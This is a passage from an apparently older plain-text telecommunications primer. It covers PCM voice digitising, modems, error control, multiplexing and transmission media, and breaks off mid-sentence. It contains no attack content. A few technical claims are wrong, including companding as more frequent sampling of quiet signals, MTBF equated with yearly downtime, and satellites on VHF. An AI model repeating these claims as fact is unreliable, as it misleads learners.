  3051. reproduction of voice can be achieved.  Naturally, the higher the
  3052. sampling rate, the more accurate the reproduction of the signal.  Dr.
  3053. Nyquist was the one who discovered that only 8000 samples per second are
  3054. needed for excellent voice reproduction.
  3055.  
  3056. The 8000 samples per second are recorded as a string of voltage levels.
  3057. This string is called a Pulse Amplitude Modulation (PAM) signal.
  3058.  
  3059.  
  3060. Step 2 - Quantizing
  3061.  
  3062.  
  3063. Since analog waves are continuous and have an infinite number of values,
  3064. an infinite number of PAM voltage levels are needed to perfectly
  3065. describe any analog wave.  In practice, it would be impossible to
  3066. represent each exact PAM voltage level.  Instead, each level is rounded
  3067. to the nearest of 256 predetermined voltage levels by a method called
  3068. Quantizing.
  3069.  
  3070. Quantizing assigns each PAM voltage level to one of 256 amplitude
  3071. levels.  The amplitude levels do not exactly match the amplitude of the
  3072. PAM signal but are close enough so only a little distortion results.
  3073.  
  3074. This distortion is called quantizing error.  Quantizing error is the
  3075. difference between the actual PAM voltage level and the amplitude level
  3076. it was rounded to.  Quantizing error produces quantizing noise.
  3077. Quantizing noise creates an audible noise over the transmission line.
  3078.  
  3079. Low amplitude signals are affected more than high amplitude signals by
  3080. quantizing noise.  To overcome this effect, a process call companding is
  3081. employed.  Low amplitude signals are sampled more frequently than high
  3082. amplitude signals.  Therefore, changes in voltage along the waveform
  3083. curve can be more accurately distinguished.
  3084.  
  3085. Companding reduces the effect of quantizing error on low amplitude
  3086. signals where the effect is greatest by increasing the error on high
  3087. amplitude signals where the effect is minimal.  Throughout this process,
  3088. the total number of samples remains the same at 8000 per second.
  3089.  
  3090. Two common companding formulas are used in different parts of the world.
  3091. The United States and Japan follow a companding formula called Mu-Law.
  3092. In Europe and other areas of the world, the formula is slight different
  3093. and is called A-Law.  Although the two laws differ only slightly, they
  3094. are incompatible.  Mu-Law hardware cannot be used in conjunction with
  3095. A-Law hardware.
  3096.  
  3097.  
  3098. Step 3 - Encoding
  3099.  
  3100. Encoding converts the 256 possible numeric amplitude voltage levels into
  3101. binary  8-bit digital codes.  The number 256 was not arrived at
  3102. accidentally. The reason there are 256 available amplitude levels is
  3103. that an 8-bit code contains 256 (28) possible combinations of 1s and 0s.
  3104. These codes are the final product of Pulse Codes Modulation (PCM) and
  3105. are ready for digital transmission.
  3106.  
  3107. PCM only provides 256 unique pitches and volumes.  Every sound that is
  3108. heard over a phone is one of these 256 possible sounds.
  3109.  
  3110. Digital-Analog Conversion
  3111.  
  3112. After the digital bit stream is transmitted, it must be convert back to
  3113. an analog waveform to be audible to the human ear.  This process is
  3114. called Digital-Analog conversion and is essentially the reverse of PCM.
  3115.  
  3116. This conversion occurs in three steps.
  3117.  
  3118. Step 1 - Decoding
  3119.  
  3120.       Decoding converts the 8-bit PCM code into PAM voltage levels.
  3121.  
  3122. Step 2 - Reconstruction
  3123.  
  3124.       Reconstruction reads the converted voltage level and reproduces
  3125.       the original analog wave
  3126.  
  3127. Step 3 - Filtering
  3128.  
  3129.       The decoding process creates unwanted high frequency noise in the
  3130.       4000 Hz - 8000 Hz range which is audible to the human ear.  A
  3131.       low-pass filter blocks all frequencies above one-half the sampling
  3132.       rate, eliminating any frequencies above 4000 Hz.
  3133.  
  3134.  
  3135.     .----------------------.
  3136. 5    | Digital Transmission |
  3137.     `----------------------'
  3138.  
  3139. Importance of Digital Transmission
  3140.  
  3141. Digital transmission is the movement of computer-encoded binary
  3142. information from one machine to another.  Digital information can
  3143. represent voice, text, graphics, and video.
  3144.  
  3145. Digital communication is important because we use it everyday.  You have
  3146. used digital communications if
  3147.  
  3148.       - your credit card is scanned at the checkout line of a department
  3149.         store.
  3150.  
  3151.       - you withdraw money from an automated teller machine. 
  3152.  
  3153.       - you make an international call around the world. 
  3154.  
  3155. There are a million ways digital communication affects us every day.
  3156.  
  3157. As computer technology advances, more and more of our lives are affected
  3158. by digital communication.  A vast amount of digital information is
  3159. transmitted every second of every day.  Our bank records, our tax
  3160. records, our purchasing records, and so much more is stored as digital
  3161. information and transferred whenever and wherever it is needed.  It is
  3162. no exaggeration to say that digital communications will continue to
  3163. change our lives from now on.
  3164.  
  3165.  
  3166. Digital Voice Versus Digital Data
  3167.  
  3168.  
  3169. The difference between voice and non-voice data is this:
  3170.  
  3171.       Voice transmission represents voice while data transmission
  3172.       represents any non-voice information, such as text, graphics, or
  3173.       video.  Both can be transmitted in identical format--as digitized
  3174.       binary digits
  3175.  
  3176. In order to distinguish digital voice binary code from digital data,
  3177. since they both look like strings of 1s and 0s, you must know what the
  3178. binary codes represent.
  3179.  
  3180. This leads us to another important distinction-- that between digital
  3181. transmission and data transmission.  Although these two terms are often
  3182. confused, they are not the same thing.
  3183.  
  3184.       Digital transmission describes the format of the electrical
  3185.       signal--1s and 0s as opposed to analog waves.
  3186.  
  3187.       Data transmission describes the type of information transmitted-
  3188.       -text, graphics, or video as opposed to voice.
  3189.  
  3190. Basic Digital Terminology
  3191.  
  3192. A bit is the smallest unit of binary information--a "1" or a "0"
  3193.  
  3194. A byte is a "word" of 7 or 8 bits and can represent a unit of
  3195. information such as a letter, a digit, a punctuation mark, or a printing
  3196. character (such as a line space).
  3197.  
  3198. BPS (bits per second) or bit rate refers to the information transfer
  3199. rate-- the number of bits transmitted in one second.  BPS commonly refers
  3200. to a transmission speed.
  3201.  
  3202. Example: 
  3203.  
  3204.       A device rated at 19,200 bps can process more information than one
  3205.       rated at 2,400 bps.  As a matter of fact, eight times more.  Bps
  3206.       provides a simple quantifiable means of measuring the amount of
  3207.       information transferred in one second.
  3208.  
  3209. Bits per second is related to throughput.  Throughput is the amount of
  3210. digital data a machine or system can process.  One might say a machine
  3211. has a "high throughput," meaning that it can process a lot of information.
  3212.  
  3213.  
  3214. Digital Data Transmission
  3215.  
  3216.  
  3217. Data communications is made up of three separate parts:
  3218.  
  3219.    1. Data Terminal Equipment (DTE) is any digital (binary code) device,
  3220.       such as a computer, a printer, or a digital fax.
  3221.  
  3222.    2. Data Communications Equipment (DCE) are devices that establish,
  3223.       maintain, and terminate a connection between a DTE and a facility.
  3224.       They are used to manipulate the signal to prepare it for
  3225.       transmission.  An example of DCE is a modem.
  3226.  
  3227.    3. The transmission path is the communication facility linking DCEs
  3228.       and DTEs.
  3229.  
  3230.  
  3231. The Importance of Modems
  3232.  
  3233.  
  3234. A pair of modems is required for most DTE-to-DTE transmissions made over
  3235. the public network.
  3236.  
  3237. The function of a modem is similar to the function of a codec, but in
  3238. reverse. Codecs convert information that was originally in analog form
  3239. (such as voice) into digital form to transmit it over digital
  3240. facilities.  Modems do the opposite.  They convert digital signals to
  3241. analog to transmit them over analog facilities.
  3242.  
  3243. It continues to be necessary to convert analog signals to digital and
  3244. then back again because the transmission that travels between telephone
  3245. company COs is usually over digital facilities.  The digital signals
  3246. travel from one telephone company Central Office to another over high
  3247. capacity digital circuits.  Digital transmission is so superior to
  3248. analog transmission that it is worth the time and expense of converting
  3249. the analog signals to digital signals.
  3250.  
  3251. Since computers communicate digitally, and most CO-to-CO facilities are
  3252. digital, why then is it necessary to convert computer-generated digital
  3253. data signals to analog before transmitting them?
  3254.  
  3255. The answer is simple.  Most lines from a local Central Office to a
  3256. customer's residence or business (called the local loop) are still
  3257. analog because for many years, the phone company has been installing
  3258. analog lines into homes and businesses.  Only very recently have digital
  3259. lines begun to terminate at the end user's premises.
  3260.  
  3261. It is one thing to convert a telephone company switch from analog to
  3262. digital. It is quite another to rewire millions of individual customer
  3263. sites, each one requiring on-site technician service.  This would
  3264. require a massive effort that no institution or even industry could
  3265. afford to do all at one time.
  3266.  
  3267. In most cases, therefore, we are left with a public network that is part
  3268. analog and part digital.  We must, therefore, be prepared to convert
  3269. analog to digital and digital to analog.
  3270.  
  3271.  
  3272. Modulation/Demodulation
  3273.  
  3274.  
  3275. To transmit data from one DCE to another, a modem is required when any
  3276. portion of the transmitting facility is analog.  The modem (modulater/
  3277. demodulater) modulates and demodulates digital signals for
  3278. transmission over analog lines.  Modulation means "changing the
  3279. signals."  The digital signals are changed to analog, transmitted, and
  3280. then changed back to digital at the receiving end.
  3281.  
  3282. Modems always come in pairs-- one at the sending end and one at the
  3283. receiving end.  Their transmission rates vary from 50 bps to 56 Kbps
  3284. (Kilobits per second).
  3285.  
  3286.  
  3287. Synchronous Versus Asynchronous
  3288.  
  3289.  
  3290. There are two ways digital data can be transmitted:
  3291.  
  3292. Asynchronous transmission sends data one 8-bit character at a time.  For
  3293. example, typing on a computer sends data from the keyboard to the
  3294. processor of the computer one character at a time. Start and stop bits
  3295. attach to the beginning and end of each character to alert the receiving
  3296. device of incoming information.  In asynchronous transmission, there is
  3297. no need for synchronization.  The keyboard will send the data to the
  3298. processor at the rate the characters are typed.  Most modems transmit
  3299. asynchronously.
  3300.  
  3301. Synchronous transmission is a method of sending large blocks of data at
  3302. fixed intervals of time. The two endpoints synchronize their clocking
  3303. mechanisms to prepare for transmission.  The success of the transmission
  3304. depends on precise timing.
  3305.  
  3306. Synchronous transmission is preferable when a large amount of data must
  3307. be transmitted frequently.  It is better suited for batch transmission
  3308. because it groups data into large blocks and sends them all at once.
  3309.  
  3310. The equipment need for synchronous transmission is more expensive than
  3311. for asynchronous transmission so a data traffic study must be made to
  3312. determine if the extra cost is justified.  Asynchronous transmission is
  3313. more cost effective when data communication is light and infrequent.
  3314.  
  3315.  
  3316. Error Control
  3317.  
  3318.  
  3319. The purpose of error control is to detect and correct errors resulting
  3320. from data transmission.
  3321.  
  3322. There are several methods of performing error control.  What most
  3323. methods have in common is the ability to add an error checking series of
  3324. bits at the end of a block of data that determines whether the data
  3325. arrived correctly. If the data arrived with errors, it will contact the
  3326. sending DTE and request the information be re-transmitted.  Today's
  3327. sophisticated error checking methods are so reliable that, with the
  3328. appropriate equipment, it is possible to virtually guarantee that data
  3329. transmission will arrive error-free.  There are almost no reported cases
  3330. of a character error in received faxes.
  3331.  
  3332. Error control is much more critical in data communication than in voice
  3333. communication  because in voice communication, if one or two of the 8000
  3334. PCM signals per second arrive with an error, it will make almost no
  3335. difference to the quality of the voice representation received.  But,
  3336. imagine the consequences of a bank making a funds transfer and
  3337. misplacing a decimal point on a large account.
  3338.  
  3339.  
  3340.  
  3341.     .--------------.
  3342. 6    | Multiplexing |
  3343.     `--------------'
  3344.  
  3345.  
  3346. Function of Multiplexers
  3347.  
  3348. Analog and digital signals are carried between a sender and receiver
  3349. over transmission facilities.  It costs money to transmit information
  3350. signals from Point A to Point B.  It is, therefore, of prime importance
  3351. to budget conscious users to minimize transmission costs.
  3352.  
  3353. The primary function of multiplexers is to decrease network facility
  3354. line costs.
  3355.  
  3356. Multiplexing is a technique that combines many individual signals to
  3357. form a single composite signal.  This allows the transmission of
  3358. multiple simultaneous calls over a single line.  It would cost a lot
  3359. more money to have individual lines for each telephone than to multiplex
  3360. the signals and send them over a single line.
  3361.  
  3362. Typical transmission facilities in use today can transmit 24 to 30 calls
  3363. over one line.  This represents a significant savings for the end user
  3364. as well as for commercial long distance and local distance carriers.
  3365.  
  3366.  
  3367. Bandwidth
  3368.  
  3369. The bandwidth of a transmission medium is a critical factor in
  3370. multiplexing. Bandwidth is the difference between the highest and lowest
  3371. frequencies in a given range.  For example, the frequency range of the
  3372. human voice is between 300 Hz and 3300 Hz.  Therefore, the voice
  3373. bandwidth is
  3374.  
  3375.            3300 Hz - 300 Hz  =  3000 Hz
  3376.  
  3377. We also refer to the bandwidth of a transmission medium.  A transmission
  3378. medium can have a bandwidth of 9600 Hz.  This means that it is capable
  3379. of transmitting a frequency range up to 9600 Hz.  A medium with a large
  3380. bandwidth can transmit more information and be divided into more
  3381. channels than a medium with a small bandwidth.
  3382.  
  3383. We will investigate three different methods of multiplexing:
  3384.  
  3385.                 Frequency Division Multiplexing (FDM)
  3386.                 Time Division Multiplexing (TDM)
  3387.                 Statistical Time Division Multiplexing (STDM)
  3388.  
  3389.  
  3390. Frequency Division Multiplexing (FDM)
  3391.  
  3392. FDM is the oldest of the three methods of multiplexing.  It splits up
  3393. the entire bandwidth of the transmission facility into multiple smaller
  3394. slices of bandwidth.  For example, a facility with a bandwidth of 9600
  3395. Hz can be divided into four communications channels of 2400 Hz each.
  3396. Four simultaneous telephone conversations can therefore be active on the
  3397. same line.
  3398.  
  3399. Logically, the sum of the separate transmission rates cannot be more
  3400. than the total transmission rate of the transmission facility:  the 9600
  3401. Hz facility could not be divided into five 2400 Hz channels because  5 x
  3402. 2400 is greater than 9600.
  3403.  
  3404. Guard bands are narrow bandwidths (about 1000 Hz wide) between adjacent
  3405. information channels (called frequency banks) which reduce interference
  3406. between the channels.
  3407.  
  3408. The use of FDM has diminished in recent years, primarily because FDM is
  3409. limited to analog transmission, and a growing percentage of transmission
  3410. is digital.
  3411.  
  3412.  
  3413. Time Division Multiplexing (TDM)
  3414.  
  3415.  
  3416. Time division multiplexing has two main advantages over frequency
  3417. division multiplexing:
  3418.  
  3419.            - It is more efficient
  3420.            - It is capable of transmitting digital signals
  3421.  
  3422. Instead of the bandwidth of the facility being divided into frequency
  3423. segments, TDM divides the capacity of a transmission facility into short
  3424. time intervals called time slots.
  3425.  
  3426. TDM is slightly more difficult to conceptualize than FDM.  An analogy
  3427. helps.
  3428.  
  3429. The problem is
  3430.  
  3431.       We must transport the freight of five companies from New York to
  3432.       San Francisco.  Each company wants their freight to arrive on the
  3433.       same day.  We must be as fair as we can to prevent one company's
  3434.       freight from arriving before another company's.  The freight from
  3435.       each company will fit into 10 boxcars so a total of 50 boxcars
  3436.       must be sent.  Essentially, there are three different ways we can
  3437.       accomplish this.
  3438.  
  3439.         1. We can rent five separate locomotives and rent five
  3440.            separate railway tracks and send each company's freight on
  3441.            its own line.
  3442.  
  3443.         2. We can rent five separate locomotives, but only one track and
  3444.            send five separate trains along one line.
  3445.  
  3446.         3. We can join all the boxcars together and connect them to one
  3447.            engine and send them over a single track.
  3448.  
  3449. Obviously the most cost effective solution is Number 3.  It saves us
  3450. from renting four extra rail lines and four extra locomotives.
  3451.  
  3452. To distribute the freight evenly so that each company's freight arrives
  3453. at the same time, the could be placed in a pattern as illustrated below:
  3454.  
  3455.   Company A + Company B + Company C + Company A + Company B + Company C . . .
  3456.  
  3457. At San Francisco, the boxcars would be reassembled into the original
  3458. groups of 10 for each company and delivered to their final destination.
  3459.  
  3460. This is exactly the principle behind TDM.  Use one track (communication
  3461. channel), and alternate boxcars (pieces of information) from each
  3462. sending company (telephone or computer).
  3463.  
  3464. In other words, each individual sample of a voice or data conversation
  3465. is alternated with samples from different conversations and transmitted
  3466. over the same line.
  3467.  
  3468. Let's say we have four callers in Boston (1, 2, 3, and 4) who want to
  3469. speak with four callers in Seattle (A, B, C, and D).  The task is to
  3470. transmit four separate voice conversations (the boxcars) over the same
  3471. line (the track).
  3472.  
  3473. The voice conversations are sampled by PCM.  This breaks each
  3474. conversation into tiny 8-bit packets.  For a brief moment, caller 1
  3475. sends a packet to receiver A.  Then, caller 2 sends a packet to receiver
  3476. B-- and so on.  The result is a steady stream of interleaved
  3477. packets-- just like our train example except the boxcars stretch all
  3478. across the country.  Notice that every fourth packet is from the same
  3479. conversation.  At the receiving end, the packets are reassembled and
  3480. sent to the appropriate receiver at the rate of 8000 samples per
  3481. seconds.
  3482.  
  3483. Remember that if the receiver hears the samples at the rate of 8000
  3484. times per second, it will result in good quality voice reproduction.
  3485. Therefore, the packets are transmitted fast enough so that every 1/8000
  3486. of a second, a packet from each send arrives at the appropriate
  3487. receiver.  In other words, each conversation is connected 8000 times per
  3488. second-- enough to satisfy Nyquist's Theorem.
  3489.  
  3490. In FDM the circuit was divided into individual frequency channels for
  3491. use by each sender.  In contrast, TDM divides the circuit into
  3492. individual time channels.  For a brief moment, each sender is allocated
  3493. the entire bandwidth-- just enough time to send eight bits of
  3494. information.
  3495.  
  3496.  
  3497. TDM Time Slots
  3498.  
  3499.  
  3500. Because a version of the TDM process (called STDM) is the primary
  3501. switching technique in use today, it is important that this challenging
  3502. concept be presented as clearly and understandably as possible.  Here is
  3503. a closer look at TDM, emphasizing the "T"--which stands for time.
  3504.  
  3505. Each transmitting device is allocated a time slot during which it is
  3506. permitted to transmit.  If there are three transmitting devices, for
  3507. example, there will be three time slots.  If there are four devices
  3508. there will be four time slots.
  3509.  
  3510. Two devices, one transmitting and one receiving, are interconnected by
  3511. assigning them to the same time slot of a circuit.  This means that
  3512. during their momentary shared time slot, the transmitting device is able
  3513. to send a short burst of information (usually eight bits) to the
  3514. receiving device.  During their time slot, they use the entire bandwidth
  3515. of the transmission facility but only for a short period of time.  Then,
  3516. in sequence, the following transmitting devices are allocated time slots
  3517. during which they too use the whole bandwidth.
  3518.  
  3519. Clock A and Clock B at either end of the transmission must move
  3520. synchronously. They rotate in unison, each momentarily making contact
  3521. with the two synchronized devices (one sender and one receiver).  For
  3522. precisely the same moment, Clock A will be in contact with Sender 1 and
  3523. Clock B will be in contact with Receiver 1, allowing one sample (8 bits)
  3524. of information to pass through. The they will both rotate so that clock
  3525. A comes into contact with Sender 2 and Clock B with Receiver 2.  Again,
  3526. one sample of information will pass.  This process is repeated for as
  3527. long as needed.
  3528.  
  3529. How fast must the clocking mechanism rotate?  Again, the answer is
  3530. Nyquist's theorem.  If a signal is sampled 8000 times per second, an
  3531. accurate representation of voice will result at the receiving end.  The
  3532. same theory applies with TDM.  If the clocking mechanism rotates 8000
  3533. times per second, the rate of transfer from each sender and receiver
  3534. must also be 8000 times per second.  This is so because every revolution
  3535. of the two clocking mechanisms result in each input and output device
  3536. making contact once.  TDM will not work if the clocking mechanism
  3537. synchronization is off.
  3538.  
  3539. Each group of bits from one rotation of the clocking mechanism is called
  3540. a frame. One method for maintaining synchronization is inserting a frame
  3541. bit at the end of each frame.  The frame bit alerts the demultiplexer of
  3542. the end of a frame.
  3543.  
  3544.  
  3545. Statistical Time Division Multiplexing (STDM)
  3546.  
  3547.  
  3548. STDM is an advanced form of TDM and is the primary switching technique
  3549. is use now.  The drawback of the TDM process is that if a device is not
  3550. currently transmitting, its time slot is left unused and is therefore
  3551. wasted.
  3552.  
  3553. In contrast, is STDM, carrying capacity is assigned dynamically.  If a
  3554. device is not transmitting, its time slot can be used by the other
  3555. devices, speeding up their transmission.  In other words, a time slot is
  3556. assigned to a device only if it has information to send.  STDM
  3557. eliminates wasted carrying capacity.
  3558.  
  3559.  
  3560.  
  3561.     .--------------------.
  3562. 7    | Transmission Media |
  3563.     `--------------------'
  3564.  
  3565.  
  3566. Voice and data information is represented by waveforms and transmitted
  3567. to a distant receiver.  However, information does not just magically
  3568. route itself from Point A to Point B.  It must follow some predetermined
  3569. path.  This path is called a transmission medium, or sometimes a
  3570. transmission facility.
  3571.  
  3572. The type of transmission medium selected to join a sender and receiver
  3573. can have a huge effect on the quality, price, and success of a
  3574. transmission. Choosing the wrong medium can make the difference between
  3575. an efficient transmission and an inefficient transmission.
  3576.  
  3577. Efficient means choosing the most appropriate medium for a given
  3578. transmission.  For example, the most efficient medium for transmitting a
  3579. normal call from your home to your neighbor is probably a simple pair of
  3580. copper wires.  It is inexpensive and it gets the job done.  But if we
  3581. were to transmit 2-way video teleconferencing from Bombay to Burbank,
  3582. one pair of wires might be the least efficient medium and get us into a
  3583. lot of trouble.
  3584.  
  3585. A company may buy all the right equipment and understand all the
  3586. fundamentals, but if they transmit over an inappropriate medium, they
  3587. would probably be better off delivering handwritten messages than trying
  3588. to use the phone.
  3589.  
  3590. There are a number of characteristics that determine the appropriateness
  3591. of each medium for particular applications:
  3592.  
  3593.                  - cost 
  3594.                  - ease of installation 
  3595.                  - capacity
  3596.                  - rate of error
  3597.  
  3598. In choosing a transmission medium, these and many other factors must be
  3599. taken into consideration.
  3600.  
  3601.  
  3602. Terminology
  3603.  
  3604.  
  3605. The transmission media used in telecommunications can be divided into
  3606. two major categories:  conducted and radiated.  Examples of conducted
  3607. media include copper wire, coaxial cable, and fiber optics.  Radiated
  3608. media include microwave and satellite.
  3609.  
  3610. A circuit is a path over which information travels.  All of the five
  3611. media serve as circuits to connect two or more devices.
  3612.  
  3613. A channel is a communication path within a circuit.  A circuit can
  3614. contain one or more channels.  Multiplexing divides one physical link
  3615. (circuit) into several communications paths (channels).
  3616.  
  3617. The bandwidth of a circuit is the range of frequencies it can carry.
  3618. The greater the range of frequencies, the more information can be
  3619. transmitted. Some transmission media have a greater bandwidth than
  3620. others and are therefore able to carry more traffic.
  3621.  
  3622. The bandwidth of a circuit is directly related to its capacity to carry
  3623. information.
  3624.  
  3625. Capacity is the amount of information that may pass through a circuit in
  3626. a given amount of time.  A high capacity circuit has a large amount of
  3627. bandwidth-- a high range of frequencies-- and can therefore transmit a 
  3628. lot of information.
  3629.  
  3630. Copper Cable
  3631.  
  3632. Copper cable has historically been the most common medium.  It has been
  3633. around for many years and today is most prevalent in the local loop--the
  3634. connection between a residence or business and the local telephone
  3635. company.
  3636.  
  3637. Copper cables are typically insulated and twisted in pairs to minimize
  3638. interference and signal distortion between adjacent pairs.  Twisting the
  3639. wires into pairs results in better quality sound which is able to travel
  3640. a greater distance.
  3641.  
  3642. Shielded twisted pair is copper cable specially insulated to reduce the
  3643. high error rate associated with copper transmission by significantly
  3644. reducing attenuation and noise.
  3645.  
  3646. Copper cable transmission requires signal amplification approximately
  3647. every 1800 meters due to attenuation.
  3648.  
  3649. Advantages of Copper Cable
  3650.  
  3651. There is plenty of it and its price is relatively low.
  3652.  
  3653. Installation of copper cable is relatively easy and inexpensive.
  3654.  
  3655.  
  3656. Disadvantages of Copper Cable
  3657.  
  3658. Copper has a high error rate.
  3659.  
  3660. Copper cable is more susceptible to electromagnetic interference (EMI) and 
  3661. radio frequency interference (RFI) than other media.  These effects can 
  3662. produce noise and interfere with transmission.
  3663.       
  3664. Copper cable has limited bandwidth and limited transmission capacity.
  3665.  
  3666. The frequency spectrum range (bandwidth) of copper cable is relatively low
  3667. -- approximately one megahertz (one million Hz).  Copper circuits can be 
  3668. divided into fewer channels and carry less information than the other media.
  3669.  
  3670.  
  3671. Typical Applications of Copper Cable
  3672.  
  3673. Residential lines from homes to the local CO (called the local loop).
  3674.  
  3675. Lines from business telephone stations to an internal PBX.
  3676.  
  3677. Coaxial Cable
  3678.  
  3679. Coaxial cable was developed to provide a more effective way to isolate
  3680. wires from outside influence, as well as offering greater capacity and
  3681. bandwidth than copper cable.
  3682.  
  3683. Coaxial cable is composed of a central conductor wire surrounded by
  3684. insulation, a shielding layer and an outer jacket.
  3685.  
  3686. Coaxial cable requires signal amplification approximately every 2000
  3687. meters.
  3688.  
  3689.  
  3690. Advantages of Coaxial Cable
  3691.  
  3692. Coaxial cable has higher bandwidth and greater channel capacity than 
  3693. copper wire.  It can transmit more information over more channels than 
  3694. copper can.
  3695.  
  3696. Coaxial cable has lower error rates.  Because of its greater insulation, 
  3697. coaxial is less affected by distortion, noise, crosstalk (conversations 
  3698. from adjacent lines), and other signal impairments.
  3699.  
  3700. Coaxial cable has larger spacing between amplifiers.
  3701.  
  3702. Disadvantages of Coaxial Cable
  3703.  
  3704. Coaxial cable has high installation costs.  It is thicker and 
  3705. less flexible and is more difficult to work with than copper wire.
  3706.  
  3707. Coaxial cable is more expensive per foot than copper cable.
  3708.  
  3709.  
  3710. Typical Applications
  3711.  
  3712.       - Data networks
  3713.  
  3714.       - Long distance networks
  3715.  
  3716.       - CO-to-CO connections
  3717.  
  3718. Microwave
  3719.  
  3720. For transmission by microwave, electrical or light signals must be
  3721. transformed into high-frequency radio waves.  Microwave radio transmits
  3722. at the high end of the frequency spectrum --between one gigahertz (one
  3723. billion Hz) and 30 GHz.
  3724.  
  3725. Signals are transmitted through the atmosphere by directly aiming one
  3726. dish at another.  A clear line-of-sight must exist between the
  3727. transmitting and receiving dishes because microwave travels in a
  3728. straight line.  Due to the curvature of the earth, microwave stations
  3729. are spaced between 30 and 60 kilometers apart.
  3730.  
  3731. To compensate for attenuation, each tower is equipped with amplifiers
  3732. (for analog transmission) or repeaters (for digital transmission) to
  3733. boost the signal.
  3734.  
  3735. Before the introduction of fiber optic cable in 1984, microwave served
  3736. as the primary alternative to coaxial cable for the public telephone
  3737. companies.
  3738.  
  3739.  
  3740. Advantages of Microwave
  3741.  
  3742.  
  3743. Microwave has high capacity.  Microwave transmission offers greater
  3744. bandwidth than copper or coaxial cable resulting in higher transmission
  3745. rates and more voice channels.
  3746.  
  3747. Microwave has low error rates.
  3748.  
  3749. Microwave systems can be installed and taken down quickly and inexpensively. 
  3750. They can be efficiently allocated to the point of greatest need in a
  3751. network. Microwave is often used in rural areas because the microwave
  3752. dishes can be loaded on trucks, moved to the desired location, and
  3753. installed quickly.
  3754.  
  3755. Microwave requires very little power to send signals from dish to dish
  3756. because transmission does not spread out into the atmosphere.  Instead
  3757. it travels along a straight path toward the next tower.
  3758.  
  3759. Microwave has a low Mean Time Between Failures (MTBF) of 100,000
  3760. hours-- or only six minutes of down time per year.
  3761.  
  3762. Microwave is good for bypassing inconvenient terrain such as mountains
  3763. and bodies of water.
  3764.  
  3765. Disadvantages of Microwave
  3766.  
  3767.  
  3768. Microwave is susceptible to environmental distortions.  Factors such as
  3769. rain, snow, and heat can cause the microwave beam to bend and vary.
  3770. This affects signal quality.
  3771.  
  3772. Microwave dishes must be focused in a straight line-of-sight.  This can
  3773. present a problem over certain terrain or in congested cities.
  3774. Temporary physical line-of-sight interruptions, such as a bird or plane
  3775. flying through the signal pathway, can result in a disruption of
  3776. signals.
  3777.  
  3778. Microwave usage must be registered with appropriate regulatory agencies.
  3779. These agencies monitor and allocate frequency assignments to prevent
  3780. systems from interfering with each other.
  3781.  
  3782. Extensive use of microwave in many busy metropolitan areas has filled up
  3783. the airwaves, limiting the availability of frequencies.
  3784.  
  3785.  
  3786. Typical Applications
  3787.  
  3788.       - Private networks
  3789.  
  3790.       - Long distance networks
  3791.  
  3792.  
  3793. Satellite
  3794.  
  3795.  
  3796. Satellite communication is a fast growing segment of the
  3797. telecommunications market because it provides reliable, high capacity
  3798. circuits.
  3799.  
  3800. In most respects, satellite communication is similar to microwave
  3801. communication.  Both use the same very high frequency (VHF) radio waves
  3802. and both require line-of-sight transmission.  A satellite performs
  3803. essentially the same function as a microwave tower.
  3804.  
  3805. However, satellites are positioned 36,000 kilometers above the earth in
  3806. a geosynchronous orbit,  This means they remain stationary relative to a
  3807. given position on the surface of earth.
  3808.  
  3809. Another difference between microwave and satellite communications is
  3810. their transmission signal methods.  Microwave uses only one frequency to
  3811. send and receive messages.  Satellites use two different
  3812. frequencies--one for the uplink and one for the downlink.
  3813.  
  3814. A device called a transponder is carried onboard the satellite.  It
  3815. receives an uplink signal beam from a terrestrial microwave dish,
  3816. amplifies (analog) or regenerates (digital) the signal, then retransmits
  3817. a downlink signal beam to the destination microwave dish on the earth.
  3818. Today's satellites have up to 48 transponders, each with a capacity
  3819. greater than 100 Mbps.
  3820.  
  3821. Because of the long distance traveled, there is a propagation delay of
  3822. 1/2 second inherent in satellite communication.  Propagation delay is
  3823. noticeable in phone conversations and can be disastrous to data
  3824. communication.
  3825.  
  3826. A unique advantage of satellite communication is that transmission cost
  3827. is not distance sensitive.  It costs the same to send a message across
  3828. the street as around the world.
  3829.  
  3830. Another unique characteristic is the ability to provide
  3831. point-to-multipoint transmission.  The area of the surface of the earth
  3832. where the downlinked satellite signals can be received is called its
  3833. footprint.  Information uplinked from the earth can be broadcast and
  3834. retransmitted to any number of receiving dishes within the satellite's
  3835. footprint.  Television broadcast is a common application of
  3836. point-to-multipoint transmission.
  3837.  
  3838.  
  3839. Advantages of Satellite Transmission
  3840.  
  3841.  
  3842. Satellite transmission provides access to wide geographical areas (up to the 
  3843. size of the satellite's footprint), point-to-multipoint broadcasting, a large 
  3844. bandwidth, and is very reliable.
  3845.  
  3846.  
  3847. Disadvantages of Satellite Transmission
  3848.  
  3849.  
  3850. Problems associated with satellite transmission include: propagation delay, 
  3851. licensing requirement by regulatory agencies security issue concerning the 
  3852. broadcast nature of satellite transmission.  Undesired parties within a 
  3853. satellites footprint may illicitly receive downlink transmission.
  3854.  
  3855. Installation requires a satellite in orbit.
  3856.  
  3857.  
  3858. Fiber Optics
  3859.  
  3860.  
  3861. Fiber optics is the most recently developed transmission medium.  It
  3862. represents an enormous step forward in transmission capacity.  A recent
  3863. test reported transmission rates of 350 Gbps (350 billion bits), enough
  3864. bandwidth to support millions of voice calls.  Furthermore, a recently
  3865. performed record- setting experiment transmitted signals 10,000 Km
  3866. without the use of repeaters, although in practice 80 to 300 Km is the
  3867. norm.  Recall the need for repeaters every kilometer or so with copper
  3868. wire and coaxial.
  3869.  
  3870. Fiber optics communication uses the frequencies of light to send
  3871. signals.  A device called a modulator converts electrical analog or
  3872. digital signals into light pulses.  A light source pulses light on and
  3873. off billions and even trillions of times per second (similar to a
  3874. flashlight turned on and off-- only faster). These pulses of light are
  3875. translated into binary code.  The positive light pulse represents 1; a
  3876. negative light pulse (no light) represents 0.  Fiber optics is digital
  3877. in nature.
  3878.  
  3879. The light is then transmitted along a glass or plastic fiber about the
  3880. size of a human hair.  At the receiving end, the light pulses are
  3881. detected and converted back to electrical signals by photoelectric
  3882. diodes.
  3883.  
  3884. Advantages of Fiber Optics
  3885.  
  3886. Fiber optics has an extremely high bandwidth.  In fact, fiber optic
  3887. bandwidth is almost infinite, limited only by the ability of engineers
  3888. to increase the frequency of the pulses of light.  Current technology
  3889. achieves a frequency of 100 terahertz (one million billion).
  3890.  
  3891. Fiber optics is not subject to interference or electromagnetic
  3892. impairments as are the other media.
  3893.  
  3894. Fiber optics has an extremely low error rate-- approximately one error
  3895. per 1,000,000,000,000.
  3896.  
  3897. Fiber optics has a low energy loss translating into fewer
  3898. repeaters/regenerators per long distance transmission.
  3899.  
  3900. Fiber is a glass and glass is made of sand.  There will never by a
